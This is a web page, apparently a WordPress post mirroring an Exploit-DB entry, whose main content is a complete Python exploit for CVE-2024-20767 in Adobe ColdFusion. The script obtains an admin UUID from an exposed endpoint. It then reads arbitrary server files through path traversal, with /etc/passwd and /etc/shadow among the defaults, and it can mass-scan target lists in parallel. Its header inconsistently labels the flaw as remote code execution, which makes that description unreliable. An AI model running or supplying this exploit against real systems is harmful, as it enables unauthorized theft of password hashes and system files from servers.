\n# Exploit Title: Adobe ColdFusion 2023.6 – Remote File Read
\n
# Exploit Author: @\u0130brahimsql
\n
# Exploit Author’s github: https:\/\/github.com\/ibrahmsql
\n
# Description: ColdFusion 2023 (LUcee) – Remote Code Execution
\n
# CVE: CVE-2024-20767
\n
# Vendor Homepage: https:\/\/www.adobe.com\/
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# Requirements: requests>=2.25.0, urllib3>=1.26.0
\n
# Usage: python3 CVE-2024-20767.py -u http:\/\/target.com -f \/etc\/passwd<\/p>\n
#!\/usr\/bin\/env python3
\n
# -*- coding: utf-8 -*-<\/p>\n
import os
\n
import re
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import urllib3
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import requests
\n
import argparse
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from urllib.parse import urlparse
\n
from concurrent.futures import ThreadPoolExecutor, as_completed<\/p>\n
urllib3.disable_warnings()<\/p>\n
class ColdFusionExploit:
\n
def __init__(self, output_file=None, port=8500):
\n
self.output_file = output_file
\n
self.port = port
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self.verbose = True
\n
self.session = requests.Session()<\/p>\n
def print_status(self, message, status=”*”):
\n
colors = {“+”: “\\033[92m”, “-“: “\\033[91m”, “*”: “\\033[94m”, “!”: “\\033[93m”}
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reset = “\\033[0m”
\n
print(f”{colors.get(status, ”)}{status} {message}{reset}”)<\/p>\n
def normalize_url(self, url):
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if not url.startswith((‘http:\/\/’, ‘https:\/\/’)):
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url = f”http:\/\/{url}”
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parsed = urlparse(url)
\n
if not parsed.port:
\n
url = f”{url}:{self.port}”
\n
return url.rstrip(‘\/’)<\/p>\n
def get_uuid(self, url):
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endpoint = “\/CFIDE\/adminapi\/_servermanager\/servermanager.cfc?method=getHeartBeat”
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try:
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response = self.session.get(f”{url}{endpoint}”, verify=False, timeout=10)
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if response.status_code == 200:
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match = re.search(r”(.+?)<\/string><\/var>“, response.text)
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if match:
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uuid = match.group(1)
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if self.verbose:
\n
self.print_status(f”UUID: {uuid[:8]}…”, “+”)
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return uuid
\n
except Exception as e:
\n
if self.verbose:
\n
self.print_status(f”Error: {e}”, “-“)
\n
return None<\/p>\n def read_file(self, url, uuid, file_path):
\n
headers = {“uuid”: uuid}
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endpoint = f”\/pms?module=logging&file_name=..\/..\/..\/..\/..\/..\/..\/{file_path}&number_of_lines=100″
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try:
\n
response = self.session.get(f”{url}{endpoint}”, verify=False, headers=headers, timeout=10)
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if response.status_code == 200 and response.text.strip() != “[]”:
\n
return response.text
\n
except:
\n
pass
\n
return None<\/p>\n
def test_files(self, url, uuid):
\n
files = {
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“Linux”: [“etc\/passwd”, “etc\/shadow”, “etc\/hosts”],
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“Windows”: [“Windows\/win.ini”, “Windows\/System32\/drivers\/etc\/hosts”, “boot.ini”]
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}<\/p>\n
for os_name, file_list in files.items():
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for file_path in file_list:
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content = self.read_file(url, uuid, file_path)
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if content:
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self.print_status(f”VULNERABLE: {url} – {os_name} – {file_path}”, “+”)
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if self.verbose:
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print(content[:200] + “…” if len(content) > 200 else content)
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print(“-” * 50)
\n
if self.output_file:
\n
with open(self.output_file, “a”) as f:
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f.write(f”{url} – {os_name} – {file_path}\\n”)
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return True
\n
return False<\/p>\n
def exploit_custom_file(self, url, uuid, custom_file):
\n
content = self.read_file(url, uuid, custom_file)
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if content:
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self.print_status(f”File read: {custom_file}”, “+”)
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print(content)
\n
return True
\n
else:
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self.print_status(f”Failed to read: {custom_file}”, “-“)
\n
return False<\/p>\n
def exploit(self, url, custom_file=None):
\n
url = self.normalize_url(url)
\n
if self.verbose:
\n
self.print_status(f”Testing: {url}”)<\/p>\n
uuid = self.get_uuid(url)
\n
if not uuid:
\n
if self.verbose:
\n
self.print_status(f”No UUID: {url}”, “-“)
\n
return False<\/p>\n
if custom_file:
\n
return self.exploit_custom_file(url, uuid, custom_file)
\n
else:
\n
return self.test_files(url, uuid)<\/p>\n
def scan_file(self, target_file, threads):
\n
if not os.path.exists(target_file):
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self.print_status(f”File not found: {target_file}”, “-“)
\n
return<\/p>\n
with open(target_file, “r”) as f:
\n
urls = [line.strip() for line in f if line.strip() and not line.startswith(‘#’)]<\/p>\n
self.print_status(f”Scanning {len(urls)} targets with {threads} threads”)
\n
self.verbose = False<\/p>\n
vulnerable = 0
\n
with ThreadPoolExecutor(max_workers=threads) as executor:
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futures = {executor.submit(self.exploit, url): url for url in urls}
\n
for future in as_completed(futures):
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url = futures[future]
\n
try:
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if future.result():
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vulnerable += 1
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print(f”[+] {url}”)
\n
else:
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print(f”[-] {url}”)
\n
except Exception as e:
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print(f”[!] {url} – Error: {e}”)<\/p>\n
self.print_status(f”Scan complete: {vulnerable}\/{len(urls)} vulnerable”, “+”)<\/p>\n
def main():
\n
parser = argparse.ArgumentParser(description=”ColdFusion CVE-2024-20767 Exploit”)
\n
parser.add_argument(“-u”, “–url”, help=”Target URL”)
\n
parser.add_argument(“-f”, “–file”, help=”File with target URLs”)
\n
parser.add_argument(“-p”, “–port”, type=int, default=8500, help=”Port (default: 8500)”)
\n
parser.add_argument(“-c”, “–custom”, help=”Custom file to read”)
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parser.add_argument(“-o”, “–output”, help=”Output file”)
\n
parser.add_argument(“-t”, “–threads”, type=int, default=20, help=”Threads (default: 20)”)
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parser.add_argument(“-q”, “–quiet”, action=”store_true”, help=”Quiet mode”)<\/p>\n
args = parser.parse_args()<\/p>\n
if not args.url and not args.file:
\n
parser.print_help()
\n
return<\/p>\n
exploit = ColdFusionExploit(args.output, args.port)
\n
exploit.verbose = not args.quiet<\/p>\n
if args.url:
\n
exploit.exploit(args.url, args.custom)
\n
elif args.file:
\n
exploit.scan_file(args.file, args.threads)<\/p>\n
if __name__ == “__main__”:
\n
main()\n<\/div>\n
View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Exploit Details Basic Information Exploit Title Adobe ColdFusion 2023.6 – Remote File Read Exploit ID EDB-ID:52387 Type exploitdb Published 2025-07-28T00:00:00 Modified 2025-07-28T00:00:00 CVSS Information CVSS…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,29,12,40,15,13,7,11,5],"class_list":["post-9198","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-74","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n
Adobe ColdFusion 2023.6 - Remote File Read - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=9198\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Adobe ColdFusion 2023.6 - Remote File Read - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title Adobe ColdFusion 2023.6 – Remote File Read Exploit ID EDB-ID:52387 Type exploitdb Published 2025-07-28T00:00:00 Modified 2025-07-28T00:00:00 CVSS Information CVSS...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=9198\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-07-29T03:41:45+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=9198#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=9198\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Adobe ColdFusion 2023.6 – Remote File Read\",\"datePublished\":\"2025-07-29T03:41:45+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=9198\"},\"wordCount\":804,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.4\",\"exploit\",\"exploitdb\",\"HIGH\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=9198#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=9198\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=9198\",\"name\":\"Adobe ColdFusion 2023.6 - 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